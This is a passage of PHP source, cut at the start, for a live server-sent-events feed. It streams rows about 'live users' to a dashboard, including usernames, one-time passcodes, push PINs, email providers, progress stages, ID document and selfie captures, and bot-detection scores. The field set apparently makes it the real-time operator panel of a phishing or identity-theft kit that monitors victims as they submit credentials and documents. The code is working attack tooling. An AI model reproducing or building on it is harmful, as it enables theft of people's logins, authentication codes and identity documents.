prepare('DELETE FROM live_users WHERE last_seen IS NULL OR last_seen = ? OR last_seen < ?') ->execute(['', $cutoff]); $cols = 'client_id, ip_address, user_agent, device, bot, current_page, status, ' . 'username, otp, push_state, push_pin, push_bio, email, provider, stage, ' . 'last_seen, verified_at, doc_type, capture_front, capture_back, capture_selfie, ' . 'bot_score, bot_reasons, capture_cloud'; $st = $pdo->query('SELECT ' . $cols . ' FROM live_users ORDER BY last_seen DESC'); foreach ($st as $row) { $rows[] = $row; } $st2 = $pdo->query('SELECT client_id, ts, page, kind, detail FROM live_events ORDER BY id DESC LIMIT 30'); $events = array_reverse($st2->fetchAll()); } catch (Throwable $e) { // best-effort } // Captures manifest $manifestFile = __DIR__ . '/captures/manifest.jsonl'; if (is_file($manifestFile)) { try { $raw = @file_get_contents($manifestFile); if (is_string($raw) && $raw !== '') { foreach (explode("\n", $raw) as $line) { $line = trim($line); if ($line === '') { continue; } $j = json_decode($line, true); if (is_array($j)) { $captures[] = $j; } } } } catch (Throwable $e) { // best-effort } } return ['rows' => $rows, 'events' => $events, 'captures' => $captures]; } // SSE preamble echo "retry: 2000\n\n"; flush(); $lastSnapshot = null; $lastEventId = isset($_SERVER['HTTP_LAST_EVENT_ID']) ? (int) $_SERVER['HTTP_LAST_EVENT_ID'] : 0; $eventId = 0; // Send an immediate snapshot $initial = sse_snapshot(); $lastSnapshot = $initial; $eventId++; echo "event: updates\n"; echo "id: $eventId\n"; echo 'data: ' . json_encode(['type' => 'updates'] + $initial, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) . "\n\n"; flush(); // Poll loop — runs until the client disconnects $maxRuntime = 55; // seconds — HF Spaces may timeout idle connections $startTime = time(); while (true) { // Check for client disconnect if (connection_aborted()) { break; } // Timeout guard if (time() - $startTime >= $maxRuntime) { echo "event: timeout\n"; echo 'data: {"type":"timeout"}' . "\n\n"; flush(); break; } usleep(300000); // 300 ms $current = sse_snapshot(); // Diff check $change = false; foreach (['rows', 'events', 'captures'] as $key) { $c = json_encode($current[$key] ?? []); $l = json_encode($lastSnapshot[$key] ?? []); if ($c !== $l) { $change = true; break; } } if ($change) { $lastSnapshot = $current; $eventId++; echo "event: updates\n"; echo "id: $eventId\n"; echo 'data: ' . json_encode(['type' => 'updates'] + $current, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) . "\n\n"; flush(); } }